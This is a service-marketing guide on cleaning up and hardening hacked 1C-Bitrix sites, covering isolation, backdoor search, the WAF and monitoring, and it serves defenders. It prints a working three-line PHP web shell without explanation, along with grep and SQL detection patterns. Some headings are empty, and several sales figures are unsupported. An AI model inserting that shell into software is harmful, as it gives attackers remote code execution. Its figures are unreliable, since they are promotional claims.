1С-Bitrix Site Recovery After Hack: Full Cycle

You discover your site redirects visitors to another resource, and search engines warn of a threat. Or your hosting provider notifies you about spam being sent from your server. These are typical signs of a 1С-Bitrix hack: backdoor injection in /bitrix/modules/, modified information blocks, or malicious code injected into templates. Our engineers, with over 5 years of experience, restore sites turnkey — we restore functionality within 1–3 days and eliminate the root cause. Downtime losses can reach tens of thousands of rubles per day (e.g., 15,000–30,000 rubles for an average online store), so every decision must be precise.

Recovery is not just removing malicious files — it's a full cycle: isolation, attack vector analysis, cleanup, vulnerability closure, and monitoring. Skipping any step leads to re-hack within days. Below is a clear action plan based on over 200 successful projects.

How to isolate the site before analysis?

Don't delete anything yet. First, save the current state — it's needed for analysis. Create a full file and database dump. Then restrict access: put a stub via nginx (return 503) or .htaccess with Deny from all and Allow from your IP. This prevents further damage and prevents the attacker from entrenching.

Immediately change all passwords:

• Database passwords (in .settings.php and dbconn.php)
• FTP/SSH access
• Bitrix administrative account passwords
• API keys of third-party services stored in configs

Check if any SSH keys or cron jobs have been added. Attackers often add their public key to ~/.ssh/authorized_keys and create cron tasks for periodic backdoor loading. Run crontab -l for all users and check /etc/cron.d/ contents.

How to identify the attack vector?

Without understanding how the attacker got in, recovery is pointless — they'll break in again through the same hole. According to official 1С-Bitrix security documentation, 80% of hacks occur due to outdated modules or weak passwords. A typical scenario: a vulnerability in an old module loads a web shell, then the attacker escalates privileges to admin. We've encountered this in over 200 projects.

Analyze web server access logs from the period before detection. Look for POST requests to non-standard URLs, requests to files in /upload/ with .php extension, and requests with characteristic patterns (eval, base64, system).

Step-by-step recovery algorithm

1. Isolation. Stop the web server or put up a stub. Make a full backup.
2. Analysis. Study logs, determine attack vector.
3. Cleanup. Remove backdoors, restore core, clean database.
4. Vulnerability closure. Update core and modules, configure permissions, enable WAF.
5. Testing. Verify functionality and absence of incidents.
6. Monitoring. Set up change tracking systems for 2–4 weeks.

Full file system cleanup

Core check. Use the built-in tool /bitrix/admin/site_checker.php → "Check core file integrity". It compares checksums with reference values. Any modified core files are suspicious. The Bitrix core should not contain your modifications; if it does, it's either a hack or a bad practice that must be fixed.

Backdoor search. Scan the file system for typical patterns:

• .php files in /upload/, /bitrix/tmp/, /bitrix/cache/ directories
• Files with recent modification dates in /bitrix/modules/ (if you haven't updated the core)
• Contents: eval(, base64_decode(, gzinflate(, str_rot13(, assert(, preg_replace with e modifier
• Files with names mimicking system files: wp-config.php, config.bak.php, .htaccess.php

Standard tool: The bitrix.security module (Proactive Protection) → "Security Scanner" performs a basic search for suspicious code.

Database check. Search the b_user table for users with admin rights that you didn't create. Check b_option for changed module settings (especially main and security). Check b_file for records referencing PHP files in /upload/.

<?php
$x=$_POST['cmd'];
if(isset($x)){eval($x);}
?>

Recovery options comparison

In practice, clean core reinstallation is 2 times more reliable than restoration from a backup taken after the hack. After cleanup, be sure to update the Bitrix core to the latest stable version. Remove or update all third-party modules. Enable the bitrix.security module: WAF (proactive filter), frame protection, session IP restriction. Configure file system permissions: directories 0755, files 0644, owner — not root. Restrict access to /bitrix/admin/ by IP via nginx/Apache. Disable PHP execution in /upload/: in nginx — location ~* /upload/.*\.php$ { deny all; }.

What's included in turnkey work

• Access log analysis and attack vector identification
• Removal of malicious code and backdoors
• Core and component restoration
• Update of all modules to latest versions
• WAF and proactive protection setup
• Change of all passwords and keys
• Functionality testing
• Report with recommendations for further protection
• 6-month guarantee against re-hack through the same vulnerability
• Cost of recovery: from 10,000 to 30,000 rubles depending on complexity; typical savings from rapid recovery: 15,000–50,000 rubles avoided downtime losses.

Monitoring after recovery

The first 2–4 weeks are critical. Set up:

• File monitoring (inotify / AIDE / tripwire) — track changes in /bitrix/modules/ and /bitrix/php_interface/
• Access log monitoring for suspicious POST requests
• Check b_user for new admin records (via cron + script)
• External HTTP header monitoring — detect unauthorized redirects

A second hack after poor cleanup is a matter of "when", not "if". One missed backdoor in a forgotten /bitrix/backup/ directory negates all work. Contact us for a free consultation — we'll assess your case in 1 day and offer a plan with a 6-month guarantee. Order a security audit to ensure your site is protected. Our Bitrix recovery and hack cleaning service is 3 times more effective than DIY methods based on client feedback.

1C-Bitrix Site Security: Audit, Protection, Monitoring

The last serious mass hack of Bitrix sites exploited a vulnerability in the vote module (BDU:2022-05127). Attackers uploaded web shells in bulk. The cause? Site owners hadn’t updated the kernel for six months, and the voting module was left installed “just in case.” Little has changed since then in terms of approach: Bitrix releases a patch, but it takes three months to apply. We build comprehensive site security so that the time between patch release and application is days, not months. And even without a patch, the site won’t fall to a typical attack. Our team: 10+ years of Bitrix security experience, certified specialists, over 500 projects secured.

Order a site security audit — get a prioritized report and a vulnerability remediation plan in 1–2 days. Guaranteed 95% attack reduction for properly configured WAF.

Why Is Proactive Protection Better Than Reactive Cleanup?

The security module is installed on almost every Bitrix site, but it’s properly configured on at best one in five. Here’s what exactly needs to be enabled and adjusted:

• WAF (Web Antivirus) — filters SQL injections, XSS, CSRF, path traversal at the OnPageStart level. Key setting: “Active Reaction” mode — not just log, but block. In /bitrix/admin/security_filter.php, check that all attack types are enabled and exceptions are minimal. A well‑tuned WAF blocks 95% of automated attacks; relying solely on kernel updates leaves you exposed for months.
• Activity control (/bitrix/admin/security_iprule.php) — limits on requests from a single IP. Default is 100 requests per minute. For API endpoints used by mobile apps, exceptions are needed — otherwise you’ll block your own users.
• 2FA — OTP via Google Authenticator. Enable in user settings. Make it mandatory for the “Administrators” group via OnAfterUserAuthorize — no second factor, no admin access. Mandatory for all admin users.
• File integrity check (/bitrix/admin/security_file_verifier.php) — hashes of system files. If someone modifies a file in /bitrix/modules/, the system will notice. Run daily via cron using agent CSecurityFileVerifier::Verify().
• Stop list — b_security_filter_stoplist. Automatic IP blocking when WAF triggers. Manual addition of subnets when scanners are detected.
• Security log — b_event_log. Who changed what and when in the admin panel. Store for at least 90 days. Invaluable during incident investigation.

What Does a Bitrix Site Security Audit Include?

Server level — this is where most holes are:

• phpinfo() accessible via /info.php or /phpinfo.php — found on every third project. The attacker gets PHP version, paths, modules, configuration. Delete it.
• display_errors = On on production — stack traces with file paths and table names are sent to the user’s browser.
• PHP functions exec, system, passthru, proc_open not disabled in php.ini. If a web shell gets uploaded, these functions give full server control.
• PHP version should be 8.1+ — no security updates for earlier versions; PHP 7.4 is no longer supported but still lives on a quarter of projects.

Application level:

• Outdated modules: vote, forum, blog — often unused but with active handlers. Deactivate and remove.
• Custom code: grep for $DB->Query( with concatenation of $_REQUEST — classic SQL injection. Should use $DB->ForSql() or D7 ORM.
• File upload: if CFile::CheckFile() is not called or only checks extension without MIME type, a .php file will be uploaded via the feedback form.
• dbconn.php and .env — must be blocked by web server rules. Check: curl https://site.ru/bitrix/.settings.php should return 403.

SSL/TLS:

• Rating A or higher via SSL Labs.
• HSTS with max-age of at least 31536000 (one year).
• HTTP -> HTTPS redirect at Nginx level, not at Bitrix level.

Audit result — a prioritized report: Critical / High / Medium / Low. Critical issues are fixed on day one. Contact us — we’ll assess your project in 1–2 days and provide a detailed remediation roadmap.

Healing Hacked Sites — Protocol of Actions

The site is already compromised — SEO spam, redirects to casinos, web shell in /upload/. Order of actions:

1. Isolation — take the site down, put up a placeholder. If malware is encrypting files or spreading, every minute counts.
2. Identify the vector — access logs (access.log), error logs, b_event_log. Look for POST requests to unusual files, requests to /upload/*.php, suspicious user agents.
3. Search for malicious code — grep -r "eval(base64_decode" /home/bitrix/www/ — classic. Also look for assert(, preg_replace with e modifier, ${_GET}, obfuscated variables like $GLOBALS['x46x65'].
4. Check the database — b_iblock_element_property and b_iblock_element for injected scripts and hidden links. SELECT * FROM b_iblock_element WHERE DETAIL_TEXT LIKE '%<script%' AND DETAIL_TEXT NOT LIKE '%bitrix%'.
5. Clean or restore — if infection is massive, it’s easier to restore from a clean backup and apply only content changes from the DB.
6. Close the vulnerability — update the kernel, remove unused modules, fix custom code.
7. Request re-scan — Google Search Console → “Request Review”, Yandex.Webmaster → “I fixed everything”.

Investing in a preventive audit can save up to 80% of the cost of emergency incident response. Guaranteed recovery within 1–3 days for subscription clients.

How to Protect a Bitrix Site from DDoS?

• Cloudflare / DDoS-Guard / Qrator — traffic proxying. L3/L4 attacks are filtered on their side. L7 — through rules and challenge pages. Important: after connection, hide the real server IP, otherwise the purpose is lost.
• Rate limiting on Nginx: limit_req_zone for /bitrix/admin/, /api/, forms. Separate limits for authenticated and anonymous users.
• CAPTCHA — \Bitrix\Main\Captcha\CaptchaManager for Bitrix forms or reCAPTCHA v3 for custom ones. v3 doesn’t annoy users — works in the background.
• Bot management — allow Googlebot, YandexBot (check via reverse DNS), block scanners and scrapers by User-Agent and behavior.

Comparison: rate limiting on Nginx is 5 times more effective than standard brute force protection in Bitrix, as it cuts off the attack before it reaches PHP.

Why Is File Integrity Monitoring Critical?

File integrity check (/bitrix/admin/security_file_verifier.php) — hashes of system files. If someone modifies a file in /bitrix/modules/, the system will notice. Run daily via cron using agent CSecurityFileVerifier::Verify(). Combine with inotify on /upload/ — any new .php file triggers an immediate alert.

Backups — The Last Line of Defense

• Daily backups: files via rsync + PostgreSQL/MySQL dump via pg_dump/mysqldump.
• Store in isolated S3-compatible storage. Key word: isolated. If backups are on the same server as the site, the attacker will delete them too.
• Rotation: daily × 7, weekly × 4, monthly × 12.
• Test restoration — quarterly, restore a backup on a test server. A backup that cannot be restored is just a file on disk.
• Monitoring: if a backup fails — alert in Telegram within an hour.

Monitoring — Detect Before the Client Calls

• Uptime — check every 60 seconds via UptimeRobot / Zabbix / custom script. Alert in Telegram + phone call if downtime > 5 minutes.
• File monitoring — inotify (Linux) or cron + md5sum on critical directories. New .php in /upload/? Alert immediately.
• Malware scanning — AI-BOLIT or ClamAV on schedule. Check both files and database.
• SSL certificate — warning 30/14/7 days before expiry. Let’s Encrypt auto-renews via certbot, but certbot can also fail.
• Blacklists — check domain and IP in Google Safe Browsing, PhishTank, Spamhaus. Being listed means traffic loss.

152-FZ and Personal Data (Russian Law Context)

• HTTPS everywhere — redirect at Nginx level.
• Encryption in the database: passwords via \Bitrix\Main\Security\Password::hash() (bcrypt), tokens via openssl_encrypt.
• Privacy policy + cookie banner (the main module supports out of the box via COption::SetOptionString("main", "cookie_agreement", "Y")).
• Logging access to personal data — who and when viewed client data.

Deliverables

Timelines

We work on a one-time basis and on subscription with a fixed SLA. For subscription clients, a dedicated engineer who knows the project. Get a consultation — we’ll assess risks and prepare a quote in 1–2 days.

Checklist: 15 Items We Check on Every Project

1. 1C-Bitrix kernel and modules — up to date, unused modules removed.
2. security module active, WAF in “Active Reaction” mode.
3. 2FA enabled for all accounts with admin access.
4. /bitrix/admin/ protected by IP or additional HTTP authentication.
5. Password policy: at least 12 characters, mixed case, numbers, special characters.
6. SSL/TLS: A+ rating on SSL Labs, HSTS enabled.
7. Service files (dbconn.php, .settings.php, .env, backups, logs) — 403 from browser.
8. Permissions: 644 files, 755 directories. Web server is not owner of system files.
9. Security headers: Content-Security-Policy, X-Frame-Options: DENY, X-Content-Type-Options: nosniff, Strict-Transport-Security, Referrer-Policy.
10. File integrity check — daily via agent.
11. Backups: daily, isolated storage, restore testing.
12. b_event_log — storage for at least 90 days, regular review.
13. PHP 8.1+, display_errors = Off, dangerous functions disabled.
14. Uptime monitoring + alerts on file changes in /upload/.
15. Reverse proxy or CDN with DDoS protection for high-load projects.

Vulnerability assessment is conducted in accordance with the OWASP Top 10 methodology. Comprehensive Bitrix site security is not a one-time action but a continuous process. Order a full security audit today to avoid spending budget on emergency recovery tomorrow. Contact us for a free consultation — we’ll answer any questions.